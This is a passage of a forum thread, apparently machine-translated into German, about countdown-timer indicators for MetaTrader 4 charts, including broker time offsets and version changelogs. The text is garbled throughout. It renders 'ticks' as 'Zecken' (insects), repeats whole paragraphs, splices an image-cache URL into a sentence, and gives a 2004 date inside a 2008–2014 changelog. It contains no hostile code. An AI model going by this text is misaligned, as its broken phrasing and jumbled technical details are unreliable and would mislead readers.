pausiert, wenn es keine Häckchen gibt, anstatt sie weiter zu arbeiten. Hat jemand hat es Forex tsd hat es, aber es ist nur für Premium-Mitglieder. Kann jemand tun, um die Indikator unten. Refreshrates () sleep (1000) Wiederholung. Programmierer verstehen Das kann man im alten MT4 nicht machen. Das Aufrufen von sleep () im Indikator-Thread ist nicht zulässig. Eine Arbeit herum wäre, einen Tick-Generator verwenden, um gefälschte Zecken auf die Tabelle jede Minute zu senden. Sie könnten die oben genannten tun, wenn Sie ein Skript oder EA verwenden. Man müsste die Server-Zeit und die lokale Zeit für sie zu arbeiten, wie ich nicht denken, die Server-Zeit-Updates, es sei denn, es gibt eingehende Ticks zu synchronisieren. Der neue MT4 (Build 600) kann Timer-Ereignisse erzeugen, so dass man eine Kerzenuhr schreiben kann, die kontinuierlich darin aktualisiert wird. Man müsste dennoch die Serverzeit und die lokale Zeit, die ein bisschen kompliziert ist, synchronisieren. Das kann man im alten MT4 nicht machen. Das Aufrufen von sleep () im Indikator-Thread ist nicht zulässig. Eine Arbeit herum wäre, einen Tick-Generator verwenden, um gefälschte Zecken auf die Tabelle jede Minute zu senden. Sie könnten die oben genannten tun, wenn Sie ein Skript oder EA verwenden. Man müsste die Server-Zeit und die lokale Zeit für sie zu arbeiten, wie ich nicht denken, die Server-Zeit-Updates, es sei denn, es gibt eingehende Ticks zu synchronisieren. Der neue MT4 (Build 600) kann Timer-Ereignisse erzeugen, so dass man eine Kerzenuhr schreiben kann, die kontinuierlich darin aktualisiert wird. Man müsste das noch synchronisieren. Ja, ich denke, das ist das Problem. Glaubst du, es wird eine aber, weil ich glaube, Zeit ist unentbehrlich für einen guten Eintrag. Nur neugierig kann ich mt5-Indikator in mt4 jetzt verwenden Ununterbrochen ohne Verzögerung Countdown-Timer Diese Anzeige zählt kontinuierlich. Der Indikator von William Kreider veröffentlicht werden, wie oben auf Link 9 gefunden werden. Vielen Dank an William Kreider für die Entsendung. Viele werden dieses Kennzeichen der Start-Stop-Tick-abhängigen Sorte bevorzugen. Der ursprüngliche veröffentlichte Code hat jedoch einen merklichen Fehler. Siehe unten Bild. Ein H1-Diagramm kann keine verbleibende Zeit von 01:19:20 haben. Das sollte 00:19:20 Uhr sein. Ich habe versucht, Korrektur von oben genannten Fehler, aber nicht vorhersehen, jedes Szenario. Ich habe Korrektur auf 3 verschiedenen MT4 Terminals mit Broker Times bei GMT, GMT1 und GMT3 Ich habe einige Verbesserungen und neue Barcandle Alert hinzugefügt getestet. Eine Version ohne Warnungen ist ebenfalls verfügbar. Hinweis 1: Die beiden oben genannten Indikatoren funktionieren nicht, wenn eine andere Version des Countdown-Timers noch auf dem Chart ist. Es wird einen Code-Konflikt geben. Bevor Sie eine der folgenden Indikatoren an ein Diagramm anschließen, stellen Sie sicher, dass alle anderen Versionen entfernt wurden. Anmerkung 2: Wenn die Anzeige auf einem geschlossenen Markt platziert ist, ist sie auf der Karte nicht sichtbar. Wenn der Markt öffnet, wird die Anzeige sichtbar und beginnt mit dem Abwärtszählen. Hinweis: 3: Wenn der Eingabewert für die Broker-Zeiteinstellung nicht korrekt ist, wird das Countdown-Etikett entweder nicht im Diagramm angezeigt oder zeigt eine falsche verbleibende Countdownzeit an. Siehe unten. Broker Zeitanpassung - Eingaben Wert Gehen Sie zu M1 Zeitrahmen und legen Fadenkreuz auf letzte Kerze. Die Zeit auf der vertikalen Fadenkreuzlinie ist Brokerzeit. Offset Broker Zeit gegen GMT. Google für die aktuelle GMT-Zeit. H4 Kerzen Betrachtungen Die Stundendauern für H4 Kerzen sind 0 - 4, 4 - 8, 8 -12, 12 - 16, 16 - 20, 20 - 0. Während BST Broker-A 8 - 12 Kerze Begannen bei 7 und endete bei 11 BST. Während BWT Broker-A 8 -12 Kerze begann bei 7 und endete bei 11 BWT. Während BST Broker-B 8 - 12 Kerze bei 6 angegeben und endete bei 10 BST. Während BWT Broker-B 8 - 12 Kerze begann bei 5 und endete bei 9 BWT. Diese Überlegungen sollten in Bezug auf die verbleibende Countdown-Zeit auf Kerzen größer als H1 berücksichtigt werden. Zeitsynchronisation 8594 Datum und Uhrzeit in der Taskleiste 8594 Ändern der Datums - und Uhrzeiteinstellungen 8594Internetzeit 8594Konfigurieren von Einstellungen 859410004 Synchronisieren mit einem Internet-Zeitserver 8594Jetzt aktualisieren 8594 OK Neuer Balkenalarmstatus Label: kann ein - oder ausgeblendet werden. MT4-Jarring ersetzen Alert-Sound Der MT4-Standard-Alert-Sound ist eine irritierende Störung. Um den MT4-Standard-Alert-Sound mit etwas förderlicherem Handel zu ersetzen, gehen Sie wie folgt vor: Gehen Sie zu (C: 8594 Programmdateien (x86) 8594 Ihr MT4 8594 Sounds 8594 alert. wav Umbenennen alert. wav zu alertx. wav Laden Sie die angehängte ZIP-Datei herunter Und kopieren Sie alert. wav in den gleichen Ordner wie die neu umbenannte alertx. wav Klicken Sie auf die neue alert. wav Soundbite, um im Media Player abzuspielen Der neue Alert-Sound sollte am nächsten Alert zu hören sein. Wav und umbenennen alertx. wav zu alert. wav Der MT4 disconnect. wav Soundbiss ist sehr kurz, für mehr Sicherheit kann der MT4 Trenn-Sound-Biss umbenannt und durch einen Soundbiss von längerer Dauer ersetzt werden Suche nach Glocken, Gongs, Glocken usw. Hinweis 4: Die Soundbites müssen mit der Erweiterung ".wav" im MT4 funktionieren, der Countdown-Zähler kann auf dem Hauptdiagramm oder einem separaten Fenster wie MACD oder Stocastics angezeigt werden Wenn der Countdown-Timer benötigt wird, um in einem eigenen Fenster angezeigt werden, laden Sie die beigefügte Zip-Datei. Extrahieren Sie blank. mq4, installieren Sie und fügen Sie dem Diagramm hinzu. Set Display-Fenster Option entsprechend. Hinweis 4: Wenn Sie in einem separaten Fenster anzeigen, stellen Sie sicher, dass Left-Right und Up-Down eingeschränkt sind, andernfalls ist der Countdown-Timer im separaten Fenster nicht sichtbar. Eine sichere Einstellung zu beginnen wäre 20 20 beziehungsweise. Fühlen Sie sich frei zu ändern und nach Nutzen für die Nutzer. Um Verwechslungen zwischen verschiedenen Versionen zu vermeiden, benennen Sie bitte keine Änderungen, die mit denen einer bestehenden Version übereinstimmen. Kontinuierlicher Countdown-Timer Diese Anzeige zählt kontinuierlich abwärts. Der Indikator von William Kreider veröffentlicht werden, wie oben auf Link 9 gefunden werden. Vielen Dank an William Kreider für die Entsendung. Viele werden dieses Kennzeichen der Start-Stop-Tick-abhängigen Sorte bevorzugen. Der ursprüngliche veröffentlichte Code hat jedoch einen merklichen Fehler. Siehe unten Bild. Ein H1-Diagramm kann keine verbleibende Zeit von 01:19:20 haben. Das sollte 00:19:20 Uhr sein. Ich habe versucht, Korrektur von oben genannten Fehler, aber nicht vorhersehen, jedes Szenario. Ich habe Korrektur auf 3 verschiedenen getestet. Grüße, Pls Ich brauche eine abschließende Kerze-Zeitanzeige, die die schließende Kerzezeit in SEKUNDEN zeigt, selbst wenn das CHATcdncache1-a. akamaihd. netitem. Rrow-10x10.png ist in Minuten oder Stunden Zeitrahmen. Ihre Hilfe ist dringend erforderlich und wird geschätzt werden. Grüße. Mc Kontinuierlicher Countdown-Timer Dieser Indikator zählt kontinuierlich abwärts. Der Indikator von William Kreider veröffentlicht werden, wie oben auf Link 9 gefunden werden. Vielen Dank an William Kreider für die Entsendung. Viele werden dieses Kennzeichen der Start-Stop-Tick-abhängigen Sorte bevorzugen. Der ursprüngliche veröffentlichte Code hat jedoch einen merklichen Fehler. Siehe unten Bild. Ein H1-Diagramm kann keine verbleibende Zeit von 01:19:20 haben. Das sollte 00:19:20 Uhr sein. Ich habe versucht, Korrektur von oben genannten Fehler, aber nicht vorhersehen, jedes Szenario. Ich habe Korrektur auf 3 verschiedenen getestet. Phylo scheinen einige Probleme mit dem Indikator zu sein. Ich habe die fix b2 Version installiert und die Zeit eingestellt. Aber sobald ich meine Ansicht in MT4 zu irgendeinem anderen Zeitrahmen ändere, geht die Brokerzeitjustage Einstellung zurück zu 1. Alles, das es zeigt, ist ein grüner NB Alarm und schwebt über ihm gibt einen 1.xxx Wert für jede einzelne Zeiteinstellung. Bin ich etwas fehlt - jemand anderes bekommen diese Dank Phylo es scheinen einige Probleme mit der Indikator. Ich habe die fix b2 Version installiert und die Zeit eingestellt. Aber sobald ich meine Ansicht in MT4 zu irgendeinem anderen Zeitrahmen ändere, geht die Brokerzeitjustage Einstellung zurück zu 1. Alles, das es zeigt, ist ein grüner NB Alarm und schwebt über ihm gibt einen 1.xxx Wert für jede einzelne Zeiteinstellung. Bin ich etwas fehlt - jemand anderes bekommen diese Thanks Ich heruntergeladen xzl Countdown Timer fix b2.mq4 9 KB von Post 10 und getestet auf zwei MT4 Terminals ein bei 3 GMT und das andere bei -5 GMT. Der Indikator arbeitet korrekt über alle Zeitfenster 8594 M1, M5, M15, M30, H1 Ampere H4. Der Indikatorcode enthält keine Zeitrahmen gt H4. Die richtigen Einstellungen für die Einstellung der Broker-Zeit sind 3 und -4 (negative vier). Ihr Profil zeigt US als Standort an, der der EST-Zeit, -3 GMT oder CT, -4 GMT entsprechen kann. Wenn -3 GMT auf -2 eingestellt ist. Wenn -4 GMT auf -3 gesetzt ist usw. Wenn das oben genannte nicht löst, kann es einen Konflikt des Codes mit einem anderen Indikator geben. Neuer sehr cooler CandleTime und Sitzungszeit Taktgeber Letztes quotP4L Clock. mq4quot Update: Mar 19, 2014. gepostet Neues v212 Letztes quotP4L CandleTime. mq4quot Update: Mar 22, 2011, posted new v13 Ich habe CandleTime. mq4 (aka b-Clock. mq4) für eine lange Zeit verwendet, und es hatte einige Macken in der Anzeige von einzelnen Ziffern (z : 9quot anstelle von quot: 09quot), und manchmal die Anzahl der verbleibenden Sekunden ging negativ, was ich dachte, war seltsam und ein bisschen schwer zu bemerken, das quot-quot Zeichen. Ich säuberte den Code und fügte einige Benutzervariablen hinzu, um Farbe zu steuern, andor Anzeige der Zeit durch die Stange, andor Anzeige eines Kommentars. Der Text-by-the-Text zeigt einstellige Sekunden ganz gut. (Quote: 09quot) FYI, wenn die verbleibenden Sekunden eine negative Zahl ist, ist der alte Balken vorbei, aber der neue Balken ist noch zu bilden, oder in gewissem Sinne sein überfälliges. In solchen Fällen zeige ich jetzt einen quotWAIT4BAR: - MM: SSquot-Text, damit er sich deutlich von der normalen Anzeige unterscheidet. (FYI, wenn die Märkte langsam sind eine Menge von M1 und sogar M5 (und höher) Bars überhaupt nie bilden, so dass die quotWAIT4BARquot Zustand kann für eine lange Zeit bestehen bleiben). Das oben genannte Programm habe ich quotP4L CandleTime. mq4quot aufgerufen. Sie können es umbenennen, wenn Sie möchten. Ich beschloss auch, ein anderes Zeitbezogenes Programm zu ändern, Clockv13.mq4, alias Clock. mq4, das einige ähnliche Anzeigeprobleme hatte. Dieses Tool zeigt eine Reihe von Marktnamen und Stunden in einer Ecke des Diagramms. Ich habe einige wesentliche Verbesserungen an den Indikator, den ich quotP4L Clock. mq4quot nennen: Unterschiedliche Hervorhebung Farbe (n) für Market Open Stunden (Annahme von 8AM - 5PM lokalen Marktstunden) Addierte Sekundenanzeige und verwendete Methode, so dass einzelne Ziffern besser aussehen 09quot not quot: 9quot) Added quotBrokerTimeIsGoldStandardquot, um die Marktstunden anzupassen (um ein paar Sekunden oder Minuten), denn als ob oft der Fall, kann die lokale Computeruhr um eine kleine Menge ausgeschaltet sein. Zwei externe Variablen zur Steuerung der Sekundenanzeige: bool DisplayTimeWithSeconds, int DisplayBarWithSeconds. Wenn DisplayBarWithSeconds2 (Auto-Modus), Sekundenanzeige, wenn lt 2min, OR, wenn DisplayTimeWithSecondsTrue. QuotBar: quot geändert in quotBar Left: quot (rest time). Außerdem wird es quitwa4barquot (anstatt, eine negative Zahl anzuzeigen, wie es aufgetreten wäre) während Perioden mit geringer Aktivität sagen, bis ein neuer Balken gebildet wird. QuotSuppressBarHHBelowH1quot zeigt nur MM: SS für H1 und darunter, da HH in HH: MM: SS ist immer quot00quot Angepasster Pixelabstand zwischen Labels abhängig von Optionen. QuoteBar Left: Zeit wird nicht über D1-Diagrammen angezeigt. Eine zukünftige Erweiterung (nicht geplant) konnte DDHH melden: MM: SS Added ShowDIBSLondon Uhr mit Benutzer-einstellbare Startzeit Stunde relativ zu London (6 Uhr und 7 Uhr im Augenblick). (Die DIBS-Methode wird im Thread forexfactoryshowthread. phpt86766 besprochen) (Weitere Verbesserungen der amp-Features sind im folgenden Abschnitt von UpUpdatequot beschrieben). FYI, fand ich eine Änderung von Clockv13.mq4 namens Clockv14.mq4, aber das ist eigentlich ein Skript. (Ich habe es an anderer Stelle geschrieben - und kann es jetzt nicht löschen - eine Kopie, die ich Clockv14script. mq4 genannt habe). Ich habe es ohne erste vollständige Prüfung. Ich hatte Probleme mit diesem Skript. Nach einer Bar abgeschlossen, die Bar Zeit nicht funktioniert für mich. (Time0 wurde eingefroren, weil es in einer Endlosschleife mit Sleep (1) war). Ich konnte auch nicht ändern Zeitrahmen, ohne das Skript beenden und dann neu hinzufügen. Vielleicht habe ich etwas falsch gemacht, aber es hat nicht gut funktioniert für mich. Meine Version aktualisiert auf einer by-tick-Basis (aber nicht mehr als einmal pro Sekunde). Es sollte relativ CPU-freundlich im Vergleich zu einer Endlosschleife (). Bitte beachten Sie, dass die Uhren nicht aktualisieren, es sei denn, neue Ticks kommen. Beachten Sie auch, dass am Wochenende die Broker Uhr eingefroren ist und sogar mit simulierten Zecken werden Sie nicht sehen, Updates Sie könnten versuchen, WeekendTestModetrue quot, oder besser. Warten, bis der Markt zu öffnen. Installation: Kopieren Sie diese Datei in: C: Programmdateien - Ihr-MT4-Verzeichnis-hier --- Expertenindikatoren Lesen Sie die unten stehenden quotexternquot-Einstellungen. Ändern Sie, wie gewünscht, starten Sie MT4 neu oder tun SieCompilequot in MetaEditor. Öffnen Sie ein Diagramm und fügen Sie dieses Kennzeichen hinzu. Angenommen, Sie kompiliert mit den Quotexternquot-Standardeinstellungen, die Sie bevorzugen, sollten Sie keine der Standardwerte ändern müssen, außer einem: (Für quotP4L Clock. mq4quot ONLY) Diese Version erfordert, dass das Allow DLL Imports quot unter dem Common Tab festgelegt wird, wenn Sie dies hinzufügen Zu einem Chart FYI, die DLLs abrufen die lokale CPU-Uhrzeit und Zeitzone Info sowie Welt Zeitzone Info. Ein Wort der Vorsicht: Sie können meinen gesamten Quellcode sehen und was die DLLs tun, die harmlos sein sollten. Persönlich habe ich nie aktivieren DLLs auf jede binäre. EX4-Datei, weil ich nicht vertrauen, was das Programm tun könnte. Für alle, die ich weiß, könnte es sein, senden sehr private Informationen über mich oder mein Konto HINWEIS Die Welt Zeitzone Zeiten sind nur so genau wie Ihre LOCAL CPU CLOCK oder, wenn Variable BrokerMMSSIsGoldStandardTrue, Ihre Brokers Uhr Mindestens verifizieren Ihre eigene Uhr und stellen Sie sie Genau HINWEIS Ihre Broker-Zeit ist unabhängig von Ihrer lokalen CPU-Uhr und, wenn auch unwahrscheinlich, kann sich jederzeit ändern. (Vielen Dank an die vorherigen Autoren für ihre Ideen und Umsetzung, die ich weiter verbessert haben.) Bitte melden Sie alle Fragen Probleme. UPDATES: 2008-09-27: Neues quotP4L Clock. mq4quot v21 quotP4L Clock. mq4quot Version v21 adressiert alle timezoneSTDST Fragen. Auch fügt Sydney TZ. Da Berichte über Probleme mit dem alten DSTtimezone Code, schrieb ich diesen Abschnitt vollständig. TimeZone - und STDST-Umstellungen sollten die korrekten Zeiten unabhängig von Ihrer eigenen Zeitzone und den STDST-Änderungsdaten anzeigen. Allerdings planen, diesen Beitrag Anfang 2009 (und jedes Jahr) für ein jährliches Update mit neuen STDST-Crossover-Terminen (Korrektur: keine jährliche Aktualisierung ist erforderlich) zu besuchen. 2008-09-28: Neues quotP4L Clock. mq4quot v22 Fällt heraus Version v21 NICHT erfordert jährliche Updates Die Zeitzone Info war nicht auf 2008 begrenzt, nachdem alle. Aktualisierungen sind nur erforderlich, wenn STDST-Umstellungstermine gesetzlich geändert werden (wie z. B. Tokyo, das DST oder USLondonSydney veranlasst, ihre Daten zu ändern). Diese Version hat meistens kosmetische Änderungen, um den Verweis auf quotannualquot Updates zu entfernen. Ich entschuldige mich für die Verwirrung. 2008-09-28: New quotP4L Clock. mq4quot v23 (Heruntergeladen 1074 Mal vor dem nächsten Update-Update). (Anmerkung: Deckt alle Ausgaben und Verbesserungen, die durch Post 12 angefordert wurden) hinzugefügt Auckland, Moskau, Berlin, Seattle für Jodie (jhp2025). Default topOffsetPixels ist jetzt 10. 02.10.2004: New quotP4L CandleTime. mq4quot v11 (Heruntergeladen 974 mal vor dem nächsten Update-Update) Für H4 und höher, Anzeige quothours: MM: SSquot Bar-Restzeit. Für W1 und MN ist die Restlaufzeit des Balkens möglicherweise nicht genau (abhängig von der Wochenendezeit des Maklers), da die Period () - Funktion nicht präzise ist, und einige Wochenendzeiten können in der Quotierungszeit enthalten sein. 2009-11-13: New quotP4L CandleTime. mq4quot v12 (Heruntergeladen 1590 mal vor dem nächsten Update-Update) Für wöchentliche und monatliche Diagramme kann die Anzahl der verbleibenden Stunden übermäßig sein (weit über 24 Stunden), so dass ein neues Format verwendet wird: DHH : MM: SS Das Programm wurde auch aktualisiert, um mit Timeshifted-Diagrammen kompatibel zu sein, die durch das neue quotP4L PeriodCon. mq4quot-Kennzeichen erstellt wurden. P4L PeriodCon. mq4quot 2009-11-29: Neue quotP4L Clock. mq4quot v24 (Heruntergeladen 105 mal vor dem nächsten Update-Update) Änderungen: Neue Farben plus Benutzersteuerung über Font-Namensgebung, Vertikale Amplituden-Offsets und - Abstandszeiten Überarbeitete Auto-Abstand von Etiketten basierend auf AMPM vs. 24 Stunden und Anzeige von Sekunden (oder nicht) und ShowBarTime (oder nicht) hinzugefügt Zeitzonen für: China, Jakarta, Indien, Israel, Helsinki, Brasilien, Mexiko, Zentral und Gebirge umbenannt quotSeattlequot zu quotierenPacificquot. Schrift-Reihenfolge ist für alle LabelCorner konsistent, kann aber auch rückgängig gemacht werden. Kann in einem Diagramm-Unterfenster gezeichnet werden. NewOverrideShowALLquot, um jede Zeitzone zu sehen. Neue Standardwerte für Zonen und Display - Style, aber Benutzer kann sich ändern, wenn gewünscht AMPM ist aus. Sekunden werden angezeigt, um besser zu ermöglichen präzise Kalibrierung der lokalen CPU Clock vs. Broker-Zeit (sehr hilfreich für News-Veranstaltungen) 2010-01-14: New quotP4L Clock. mq4quot v25 ( 26 mal vor dem nächsten Versions-Update heruntergeladen) Änderungen: Neue QuoteBackgroundUnderLabelsquot-Funktion zeichnet ein Rechteck (tatsächlich mehrere) unter den Beschriftungen, um sie lesbarer zu machen. Die rechteckigen COVERS-Preisleisten und andere Zeilenobjekte (solange Ihr F8 quotChart auf der Vordergrundquot-Variable nicht markiert ist und wenn andere Objekte ihre Backgroundtrue haben (Traderathome schlug den eher cleveren Gebrauch von OBJLABEL mit Schriftart Webdings, key quotgquot und großer Schriftgröße vor Um das Hintergrund-Rechteck zu erstellen.) (Siehe GBPJPY H1 Bild unten, das auch zeigt, jede Marktzone unterstützt. Dies zeigt unten linken Ecke, aber jede Ecke kann für die Etiketten verwendet werden.) 2010-01-21: Neue quotP4L Clock. mq4quot V26 (Heruntergeladen 96 mal vor dem nächsten Update-Update) Änderungen: Neue QuoteShowPipSpreadquot (Ask-Bid) in Pips (einschließlich der automatischen 110th Pips für extra-digit-Broker) Neue quotShowBidPricequot wo Farbe zeigt letzte Tick höher war Markieren Sie "LowSpread", indem Sie quotLowSpreadHighlightThresholdquot auf gt0 setzen. Neues Popup Alerts (einmal pro Bar): Klicken Sie auf "Weiter", um fortzufahren. DoHighVolumeAlerts amp DoLowSpreadAlerts Neue Pfeile, die DoLowSpreadArrows verwenden, um LowSpread-Ereignisse auf dem Diagramm zu markieren. (Weil sie nicht neu erstellt werden können, bleiben diese Pfeile bestehen, es sei denn, Sie entfernen sie durch Ändern von quotDeleteOldSpreadArrowsquot auf true. Eine Alert ERROR tritt jetzt auf, wenn der Benutzer vergibt, um DLLs zu aktivieren. Regulärer MarketOpenHours (8A-5P) (und diejenigen für Sydney, 7A-4P) 2010-02-23: New quotP4L Clock. mq4quot v27 (Heruntergeladen 1609 mal vor dem nächsten Update-Update) Änderungen: Added-Option für Dubai Zeitzone New quot ShowRange um aktuelle Bar anzeigen High-Low ( In Pips) Neues quot ShowPips2open - Zeichen zur Anzeige der aktuellen currentBarPrice-Open-Inputs Neue quot ShowAvgPeriodRange - Zeile, um APR (oder AR) anzuzeigen. Periode, Lookback und Display werden mit APRPeriod gesteuert APRBars und APRLabelShowMinutes Neuer ShowAvgDailyRange ADRBars Umbenanntes altes quotBackgroundNamePixelsquot zu "BackgroundAddWidthPixels". Es wurden einige Fehler mit v26 KNOWN-Problem mit ADRAPR behoben. Wenn Berechnungen auf einem anderen Diagrammzeitrahmen basieren, sind die Berechnungen nur dann korrekt, wenn die Verlaufsdaten für den anderen Zeitrahmen aktuell sind ADR ist genau, wenn Ihre täglichen Verlaufsdaten aktuell sind). Der beste Weg, um sicher zu sein, ist ein tägliches Diagramm offen zu haben, zusätzlich zu dem Diagramm, das Sie dieses Kennzeichen anfügen. 2011-03-22: Neue quotP4L CandleTime. mq4quot v13 FYI, wenn Sie eine ältere Version ersetzen, müssen SieResetquot die Variable Werte auf jedem Diagramm, oder einfach trennen und re-Attach-Indikator für jedes Diagramm. Änderungen: Die neue Variable "TextUsuallyAbovePriceLine" wird standardmäßig auf "FALSE" gesetzt. Wenn "False" (Falsch), erscheint das Zeitetikett jetzt unter der Preiszeile, konsequenter in der Nähe der Zeile gegenüber früheren Versionen. Vorheriges v12 hatte einige Probleme, zum quotWAIT4BARSquot (das ist selten irgendwie) für Zeitrahmen gt H1) anzuzeigen. Problem ist behoben. In eine Schrift mit fester Größe, quotLucida Consolequot, geändert, die für die Verarbeitung der längsten Zeichenfolge erforderlich ist. Bei dieser Version läuft jedes Tick, für die 2nd-Nth-Ticks jedoch innerhalb einer Sekunde wird das Label nur verschoben und nicht neu berechnet. Neue externe Variable quotAdjustWeeklyTimeRemainByminquot ist ein Hack, um mindestens einen Broker Fehler mit der wahren Startzeit der wöchentlichen Bars zu beheben. Der Broker-Feed SAGEN die Bars beginnen Sonntag 00:00:00 aber in der Tat neue Bars bilden am Montag 00:00:00. Ein Wert von 1440 Minuten wird benötigt, um den wirklichen Countdown zu erhalten. Diese Version behandelt Offline-Diagramme gt 1Month, wie durch quotP4L PeriodCon. mq4quot erzeugt. 2011-03-22: New quotP4L Clock. mq4quot v28 (Heruntergeladen 1543 Mal vor dem nächsten Update-Update) Änderungen: Fehler behoben, dass ShowAvgDailyRange falsch war, wenn ShowAvgPeriodRange false war. Sie sind jetzt unabhängig. Default LabelCorner wurde auf 2 (unten links) geändert. War 1 (oben rechts). Die alte Standardposition neigte dazu, Fibo-Ebenen und neuere Preisleisten zu decken. HINWEIS: DER BENUTZER KANN BEARBEITEN UND ÄNDERN DES CODE AS WOLLEN Default quotDoLowSpreadArrowsquot ist nun falsch. Double-checked STDST changover Daten und aktualisierte Israel-Daten. Bid-Preis zu niedrig ausgeweiteter Warnung hinzugefügt. LowSpread-Pfeile haben Backgroundfalse und kommen jetzt zum exakten aktuellen Preis. Jedes LowSpread-Ereignis erstellt jetzt einen Pfeil. (Wird verwendet, um nur ein letztes Event pro Bar zu speichern) (FYI, Sound Alerts sind in dieser Version noch nicht implementiert). 2011-09-20: Neue quotP4L Clock. mq4quot v210 (Heruntergeladen 7500 Mal vor dem nächsten Update-Update) Änderungen: Tokyo lokalen Markt OpenClose Stunden geändert, um 9 AM-6PM (Diese Benutzer sind steuerbar mit den Variablen TokyoLocalOpenHour und TokyoLocalCloseHour) Moskau TZ wurde aktualisiert, weil es Keine Änderung mehr für STDST. 2014-01-30: New quotP4L Clock. mq4quot v211 (Heruntergeladen 714 mal vor dem nächsten Update-Update) Änderungen: Gesetzte Codeänderungen, um es kompatibel mit bevorstehenden zu machen. (Fixed ein Fehler mit Berlin Zeit, die kurz dort war in v29, die jetzt v210 ist) Neue MT4 (gtbuild 579). Die Änderungen, jedoch noch kompilieren und arbeiten auf aktuelle 509 zu bauen, und die 509.ex4, die Sie machen, ist auch nach vorne kompatibel, sollte es irgendeine Notwendigkeit, dies zu tun. Hinweis: (Beta) 579 ist noch neu und hat viele Fehler. Beispielsweise verliert ein 579 kompiliertes quotP4L CandleTime. ex4quot die Spur des Schriftartnamens bei MT4 Neustart, aber sie sagen, dass es in der nächsten Version behoben wird. Eine 509 kompilierte Version scheint, adaequat zu sein. Natürlich gibt es andere Probleme, die kommen, wenn sie endlich auf eine Produktion MT4 Release, so gut sehen, was passiert. 2014-03-19: Neues quotP4L Clock. mq4quot v212 Änderungen: Fester Fehler im Zusammenhang mit der Verwendung von Schablonen in neuen MT4 baut gt600. Geänderte Versionsvariable zu eindeutigem Namen pro Freigabe, weil Vorlagen alte Werte gespeichert haben konnten, die Tatsache, dass es eine neue Version ist, maskiert. Ich habe eine kostenlose DTon-Willkommensnachricht (PayPal an pips4lifeatyahoodtcom) hinzugefügt, um die erheblichen Anstrengungen auszugleichen, die es braucht, um diese und andere kostenlose Programme aufrechtzuerhalten, vor allem seit der neuen Version von (buggy) MT4 buildsgt600, die ich selbst noch nicht einmal benutze. P. S. Neue Screenshots enthalten einige nützliche Hinweise. Mehrere neue Marktzonen und Bar-Infos können in den älteren Screenshots nicht angezeigt werden. FYI, vorherige Versionen wurden heruntergeladen 1000s mal (Siehe Statistiken neben jeder Version Release oben). Diese und andere Programme Ive gebucht sind kostenlos, aber Spenden sind willkommen PayPal an pips4lifeatyahoodtcom Das ist richtig. Dies ist ein Countdown-Timer Für jeden dieser Zeitrahmen erhalten Sie neue Balken in genau der gleichen Anzahl von MM: SS. Die Zahl Updates nur, wenn Sie neue Zecken zu bekommen und gerade jetzt der Markt ist ziemlich langsam. Um Ticks zu simulieren, können Sie das Rechtsklick-Menü verwenden und quotRefreshquot auswählen. Als Alternative, geben Sie - sequentiell, nicht sofort - Alt, c, r Dies gilt auch refreshquot. (FYI, würde ich wirklich lieben eine Ein-Tastenanschlag-Methode zu tun, um Refresh. Wenn jemand weiß, wie, bitte post.) Joined Apr 2007 Status: Mitglied 584 Beiträge In der älteren Version v13, an dem ich vorgenommene Änderungen vorgenommen habe, habe ich den timezoneSTDST-Code angenommen Aber es gab keine Probleme. Ich schätze NuckingFuts Post ein Update - aber es gab Probleme mit dieser Version als auch. (Das war 3600 MINUTEN Sie codiert, nicht Sekunden Glücklicherweise hat es fast funktioniert.) Ich grub in den Code, den ich bisher nicht verstanden, und recherchiert alternative Windows-Funktionen, die eine weitaus robuster und genauer Methode zur Berechnung der lokalen Zeiten in Jede der Marktzonen, plus es funktioniert aus, was auch immer Ihre eigene Zeitzone - einschließlich Jakarta, Tokyo, Sydney. weltweit. Ich habe meine eigene CPU-Uhr auf verschiedene Zeitzonen eingestellt und es funktionierte bei jedem, den ich versuchte. Die STDST-Umschaltung ist nun für jede der Marktzeitzonen eindeutig. Zum Beispiel, wenn die USA STDST ändern, ist nur die NewYork Marktzeit betroffen. Ähnlich für London und Sydney. (Tokio, derzeit nicht beobachtet DST). Diese Version v21 hat nur einen Nachteil, den ich kenne, und das ist, dass Sie eine jährliche Aktualisierung der es mit dem neuen Weltmarkt STDST Umstellung Termine für 2009 (und jedes Jahr danach) zu bekommen. FYI, die Methode, um Updates wird in den Code dokumentiert, indem eine externe Variable auf TRUE (auf nur ONE-Diagramm) zu Beginn des neuen Jahres gesetzt. Allerdings wird ein Update voraussichtlich im Januar 2009 veröffentlicht werden. Vielleicht wird eine bessere dauerhafte und automatische Methode entdeckt und in eine zukünftige Version, aber meine Kenntnisse der Windows-Funktionen ist extrem begrenzt. Bitte gehen Sie zu Post 1 und laden Sie die neue P4L Clock. mq4-Datei. Erwarten Sie die Zeiten, um richtig zu sein, wenn der Markt öffnet und die Zecken wieder hereinkommen. Mitglied seit: Apr 2007 Status: Mitglied 584 Beiträge Diese Version v21 hat nur einen Nachteil, den ich kenne, und das ist, dass Sie eine jährliche Aktualisierung der es mit dem neuen Weltmarkt STDST Umstellung Termine für 2009 (und jedes Jahr nachher) zu bekommen. Es stellt sich heraus, dass die obige Aussage falsch war. Und in der Tat, sollten Sie nicht jährliche Updates überhaupt Version v22 von quotP4L Clock. mq4quot wurde gerade gepostet, aber die Änderungen sind meist kosmetische entfernen Sie die Verweise auf quotannualquot Updates erforderlich, die nicht wahr ist. Ich didnt wirklich verstehen, die bitweise Syntax und musste es herausfinden, nur um zu erfahren, dass die STDST Umstellung Datum Informationen bereits für die Zukunft korrekt war. Natürlich, wenn eine Marktzone gesetzlich ändert ihre STDST Umstellung Termine, ein Update erforderlich sein wird. (Zum Beispiel, Tokio ist gerüchteweise zu berücksichtigen DST). FYI, wird ein Update nicht benötigt, wenn Ihre lokale Zeitzone STDST-Daten nur ändert, wenn sich eine Marktzone ändert (NewYork, London, Tokyo, Sydney). Bitte gehen Sie zu Post 1 und laden Sie die neue v22 P4L Clock. mq4-Datei. Erwarten Sie die Zeiten, um richtig zu sein, wenn der Markt öffnet und die Zecken wieder hereinkommen. (Oder vorübergehend gesetzt WeekendTestModetrue und simulieren Zecken mit quotRefreshquot. Sie sollten die richtigen Weltzeiten, die Sie überprüfen können, gegen worldtimezoneindex24.php) (Ich hoffe, dass ich getan mit Änderungen, aber natürlich, wenn jemand berichtet, alle Probleme ihre mehr sein könnte , Obwohl ich die Hauptfragen mit v21 und nun v22 angesprochen habe). Hallo Kent (P4L), Nach einigen Stunden bekam ich Kopfschmerzen mit dieser süßen Uhr, langsam verstehe ich alles und versuchte ein wenig zu modifizieren, aber als Ihre Referenzen verwirrte ich immer noch in Bezug auf die STDST. Also, so einfach wie ich kann, werden Sie überprüfen, ob 